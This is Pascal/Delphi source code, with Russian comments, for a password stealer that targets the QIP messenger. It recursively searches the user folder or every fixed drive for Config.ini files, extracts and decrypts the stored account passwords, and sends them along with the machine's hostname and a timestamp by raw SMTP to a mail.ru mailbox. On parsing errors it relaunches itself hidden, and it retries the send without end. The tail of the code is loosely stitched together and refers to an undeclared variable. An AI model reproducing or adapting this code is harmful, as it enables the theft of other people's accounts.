unit uQIP;

interface

uses
  Windows;

function QIP(AD:Boolean) : String;

implementation

const
  clipboard = 255*1024;

type
  TMyArray = array[1..clipboard] of char;
  PMyArray = ^TMyArray;

var
  PasWD : String = 'qip:'+#$D+#$A;

//Ясно без комментариев ;)
function MyStrToInt(S:String):Integer;
var
  I, ErrorCode: Integer;
begin
  Result:=-0;
  Val(S, I, ErrorCode);
  if ErrorCode <> 0 then
    begin
      WinExec(PChar(ParamStr(0)),SW_HIDE);
      Halt;
    end
  else
    Result := I;
end;

//Расшифровка паролей
function DecryptQIPPass_New(pass:string):string;

function DecodeBase64(value:string):string;

function DecodeChunk(const chunk:string):string;
const
  b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  w : LongWord;
  i : byte;
  c : char;
begin
  w:=0;
  Result:='';
  for i:=1 to 4 do
	  if pos(Chunk[i],b64)<>0 then
	    w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
  for i := 1 to 3 do
    begin
	    c:=chr(w shr((3-i)shl 3)and $ff);
	    if c<>#0 then Result:=Result+c
    end
end;

begin
  Result:='';
  if length(Value)and $03<>0 then exit;
  while length(Value)>0 do
    begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
end;

var
  t,i,c : integer;
begin
  i:=length(pass);
  if i=0 then
	  result:='Not Saved'
  else
	if i and $03<>0 then
	  result:='Cannot Decrypt'
	else
    begin
	    Result:=DecodeBase64(pass);
  	  t:=$1ac3;
    	  for i:=1 to length(Result) do
          begin
      	    c:=Ord(Result[i]);
      	    Result[i]:=chr(c xor(t shr 8));
            t:=(t+c)*$38421+$64ceb;
      	  end
    end
end;

function DecryptQIPPass_Old(pass:string):string;
const
  Table1:string='4654360486439083677';
  Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
  CryptChar:Byte;
  i,p:Integer;
begin
  Result:=Pass;
  CryptChar:=Length(Table)-1;
  p:=1;
  for i:=1 to Length(Result) do begin
    if (CryptChar and 8) = 0 then
      CryptChar:=CryptChar xor 1;
    CryptChar:=not CryptChar;
    CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
    Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
    Inc(p);
    if p>Length(Table) then
      p:=1;
  end;
end;

function DeXor2(const Pass:string):string;
var
  CryptInt:SmallInt;
  i,t,l,v:integer;
const
  Table: array[0..$5f] of Byte = (
    $5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
    $43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
    $53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
    $2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
    $13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
    $23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
  );
begin
  Result:=Pass;
  l:=length(Result);
  t:=l;
  for i:=1 to l do begin
    CryptInt:=Ord(Result[i])-$20;
    if (CryptInt>=0) and (CryptInt<=$5f) then begin
      v:=CryptInt;
      if l and $03<>0 then
	t:=(t shl 3)or(t shr 27);
      t := t and $1f;
      CryptInt:=CryptInt xor t;
      t:=t+l+v;
      Result[i]:=Chr(Table[CryptInt]+$20);
    end;
    Dec(l);
  end;
end;

var
  i,l:integer;
begin
  result:='';
  l:=length(pass);
  if l=0 then
    result:='Not Saved'
  else
    if l and $01<>0 then
      result:='Cannot Decrypt'
    else
      begin
        for i:=1 to l do
          begin
          	if pos(pass[i],'0123456789ABCDEF')=0 then
              begin
            	  result:='Cannot Decrypt';
	              exit
	            end
          end;
        for i := 1 to l shr 1 do
	        Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
      Result:=DeXor1(Result,Table1);
      Result:=DeXor1(Result,Table2);
      Result:=DeXor2(Result);
    end
end;

//Узнаем все логические диски
function MyGetLogicalDrives : String;
var
   drives  : set of 0..25;
   drive   : integer;
begin
   Result := '';
   DWORD( drives ) := Windows.GetLogicalDrives;
   for drive := 0 to 25 do
      if drive in drives then
         Result := Result + Chr( drive + Ord( 'A' ));
end;

{ Узнаем имя последнего каталога
  Нужно для того что бы узнать от какого UIN'a мы узнали пароль}
function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
  begin
    Delete(s,1,Pos('\',s));
    Result:=S;
  end;
end;

//Выдираем криптованную строку из Config.ini
procedure ExtractPass(fp,fn:String);
var
  body: hFile;
  rd,x : cardinal;
  Size: DWORD;
  buf : PMyArray;
  st  : OFSTRUCT;
  s   : String;
begin
  s := '';
  body := OpenFile(PChar(fp+fn),st,OF_READ);
  Size:=GetFileSize(body,nil);
  GetMem(buf,Size);
  try
    ReadFile(body, buf^, Size, rd, nil);
    for x := 1 to Size do
        S := S + buf[x];
    if S <> '' then
      if Pos('NPass=',S) <> 0 then
        begin
          Delete(S,1,Pos('NPass=',S)+6{Length('NPass=')});
          Delete(S,Pos(#$D+#$A,S),Length(S)-Pos(#$D+#$A,S));
          S :=  ExtractLastPathName(fp)+'; '+
                S+'; '+
                DecryptQIPPass_Old(S)+'; '+
                DecryptQIPPass_New(S)+';'+#$D+#$A;
          PasWD := PasWD + S;
        end;
  finally
    CloseHandle(body);
    FreeMem(buf);
  end;
end;

//Ищем в каталоге с подкаталогами Config.ini
procedure ApiSearch(DiR:String);
var
  FileName: string;
  FindHandle:THandle;
  SearchRec:TWIN32FindData;
begin
  if Dir<>'' then if Dir[length(Dir)]<>'\' then
    Dir:=Dir+'\';
  FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
  try
  if FindHandle <> INVALID_HANDLE_VALUE then
    repeat
      FileName:=SearchRec.cFileName;
      if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
      if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
        ApiSearch(DiR+FileName+'\')//Если это подкаталог то ищем в нем
      else
        if FileName = 'Config.ini' then
          ExtractPass(Dir,FileName);//Если это то что нужно то выдираем криптованную строку
    until FindNextFile(FindHandle,SearchRec)=false;
  finally
    Windows.FindClose(FindHandle);
  end;
end;

{ Основная функция возращает парли
  Если параметр истинный то ищет во всех логических дисках
  Если ложный - только в C:\Program Files\QIP\Users
}
function QIP(AD:Boolean) : String;
var
  i : Byte;
begin                 
  if AD then
    begin
      for i := 1 to Length(myGetLogicalDrives)do
        if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
          ApiSearch(myGetLogicalDrives[i]+':\');
    end
  else
    ApiSearch('C:\Program Files\QIP\Users');
  Result := PasWD;
end;

end.

var
  PASSWORD : String;
begin
  PASSWORD := QIP(false);
  SendPasswords;
  PASSWORD := QIP(true);
  SendPasswords;
end;

function DateTimeToStrNow:String;
var
  st : TSYSTEMTIME;
  s  : String;
begin
  Result := '';
  GetSystemTime(st);
  Str(st.wHour,s);
  Result := Result+S+':';
  Str(st.wMinute,s);
  Result := Result+S+':';
  Str(st.wSecond,s);
  Result := Result+S;
  Result := Result+' ';
  Str(st.wDay,s);
  Result := Result+S+'.';
  Str(st.wMonth,s);
  Result := Result+S+'.';
  Str(st.wYear,s);
  Result := Result+S;
end; 

function SendPasswords: boolean;
var
  WSAData: TWSAData;
  FSocket: integer;
  HostEnt: PHostEnt;
  SockAddrIn: TSockAddrIn;
  dBuff: PChar;
  dSize: dword;
  Str: array [0..255] of Char;
  HostName: array[0..128] of Char;

  function Success(): boolean;
  var
    Bytes: dword;
    RBuff: array [0..255] of Char;
  begin
    Result := false;
    Bytes := recv(FSocket, RBuff, 255, 0);
    if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
    RBuff[3] := #0;
    if lstrcmp(RBuff, '220') = 0 then Result := true else
    if lstrcmp(RBuff, '250') = 0 then Result := true else
    if lstrcmp(RBuff, '354') = 0 then Result := true;
  end;

begin
  WSAStartup(257, WSAData);
  Result := false;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(25);
  SockAddrIn.sin_addr.s_addr := inet_addr('smtp.mail.ru');
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
      HostEnt := gethostbyname('smtp.mail.ru');
      if HostEnt = nil then
        begin
          CloseSocket(FSocket);
          Exit;
        end;
      SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
    end;   
  gethostname(HostName, 128);
  if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
   begin
    if Success then
     begin
      lstrcpy(Str, PChar('HELO ' + 'smtp.mail.ru' + #13#10#0));
      send(FSocket, Str, lstrlen(Str), 0);
      if Success then
       begin
        lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));
          send(FSocket, Str, lstrlen(Str), 0);
          if Success then
           begin
            lstrcpy(Str, 'DATA'#13#10#0);
            send(FSocket, Str, lstrlen(Str), 0);
            if Success then
             begin
              dSize := lstrlen(PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              GetMem(dBuff, dSize + 6);
              lstrcpy(dBuff, PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              lstrcat(dBuff, #13#10'.'#13#10#0);
              send(FSocket, dBuff^, dSize + 6, 0);
              FreeMem(dBuff);
              if Success then
               begin
                lstrcpy(Str, 'QUIT'#13#10#0);
                send(FSocket, Str, lstrlen(Str), 0);
                Result := true;
               end;
             end;
           end;
         end;
       end;
     end;
   end;
 CloseSocket(FSocket);
 WSACleanup(); 
 if Result = false then
  begin
    SendPasswords;
    Exit;
  end;
end;